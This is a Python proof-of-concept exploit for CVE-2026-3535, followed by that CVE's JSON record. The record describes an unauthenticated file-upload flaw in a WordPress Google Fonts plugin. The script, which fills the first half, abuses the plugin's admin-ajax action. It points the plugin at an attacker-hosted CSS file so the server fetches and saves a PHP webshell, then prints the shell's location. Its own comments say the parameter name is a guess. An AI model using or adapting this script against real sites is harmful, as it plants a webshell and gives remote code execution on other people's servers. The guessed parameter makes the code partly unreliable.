CVE-2026-3535

import requests # Configuration target_url = "http://example.com" attacker_css_url = "http://attacker.com/exploit.css" # The exploit chain: # 1. Attacker hosts a CSS file containing: @font-face { src: url('http://attacker.com/shell.php'); } # 2. Send a request to the vulnerable endpoint to force the server to fetch and save the shell. endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Payload based on the vulnerable function DSGVOGWPdownloadGoogleFonts # Note: The parameter name might vary, 'cssUrl' is used as a logical guess based on the description. payload = { "action": "DSGVOGWPdownloadGoogleFonts", "cssUrl": attacker_css_url } try: response = requests.post(endpoint, data=payload) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Check your shell at: {target_url}/wp-content/uploads/dsgvo-fonts/shell.php") else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-3535", "sourceIdentifier": "[email protected]", "published": "2026-04-08T07:16:21.417", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The DSGVO Google Web Fonts GDPR plugin for WordPress is vulnerable to arbitrary file upload due to missing file type validation in the `DSGVOGWPdownloadGoogleFonts()` function in all versions up to, and including, 1.1. The function is exposed via a `wp_ajax_nopriv_` hook, requiring no authentication. It fetches a user-supplied URL as a CSS file, extracts URLs from its content, and downloads those files to a publicly accessible directory without validating the file type. This makes it possible for unauthenticated attackers to upload arbitrary files including PHP webshells, leading to remote code execution. The exploit requires the site to use one of a handful of specific themes (twentyfifteen, twentyseventeen, twentysixteen, storefront, salient, or shapely)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/dsgvo-google-web-fonts-gdpr/tags/1.1/dsgvo-google-web-fonts-gdpr.php#L159", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dsgvo-google-web-fonts-gdpr/tags/1.1/dsgvo-google-web-fonts-gdpr.php#L46", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dsgvo-google-web-fonts-gdpr/trunk/dsgvo-google-web-fonts-gdpr.php#L159", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/dsgvo-google-web-fonts-gdpr/trunk/dsgvo-google-web-fonts-gdpr.php#L46", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6203ffaf-5efd-4c66-85f0-cc3a05a03084?source=cve", "source": "[email protected]"}]}}